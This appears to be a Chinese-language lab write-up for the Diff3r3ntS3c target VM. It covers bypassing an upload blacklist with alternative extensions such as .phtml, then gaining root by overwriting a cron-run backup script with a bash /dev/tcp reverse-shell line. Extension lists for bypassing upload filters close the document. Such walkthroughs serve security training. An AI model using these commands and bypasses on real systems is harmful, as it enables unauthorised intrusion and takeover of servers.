# 靶场搭建

靶场下载:Diff3r3ntS3c

导入调成 NAT 模式,直接打开

IP: 192.168.1.130

# 渗透构成

# 信息初收集

端口只开了 80

应该是个文件上传

php 格式直接上传会被判定恶意,后端黑名单,所以需要其他后缀名的马。

PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

在 PHPv8 中: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

库库传上去

[23:06:52] 200 -  475B  - /assets/                                          
[23:06:53] 301 -  315B  - /assets  ->  http://192.168.1.130/assets/         
[23:07:09] 301 -  315B  - /images  ->  http://192.168.1.130/images/         
[23:07:09] 200 -  496B  - /images/                                          
[23:07:28] 403 -  278B  - /server-status/                                   
[23:07:28] 403 -  278B  - /server-status                                    
[23:07:37] 200 -  501B  - /uploads/                                         
[23:07:37] 301 -  316B  - /uploads  ->  http://192.168.1.130/uploads/ 

找到 uploads 文件夹,访问一下反弹 shell,发现 phtml 能解析的。

# 提权

上来先看 sudo 没有权限

看计划任务发现 * * * * * root /bin/sh /home/candidate/.scripts/makeBackup.sh

直接覆盖这个 makeBackup.sh

#/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.1.129/4444 0>&1'

监听等待几秒直接 shell 了

# 小结

文件上传支持的文件格式可能需要进行尝试,不一定哪个就能执行,跟配置有关系

PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module

在 PHPv8 中: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp

ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml

Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action

Coldfusion: .cfm, .cfml, .cfc, .dbm

Flash: .swf

Perl: .pl, .cgi

Erlang Yaws Web Server: .yaws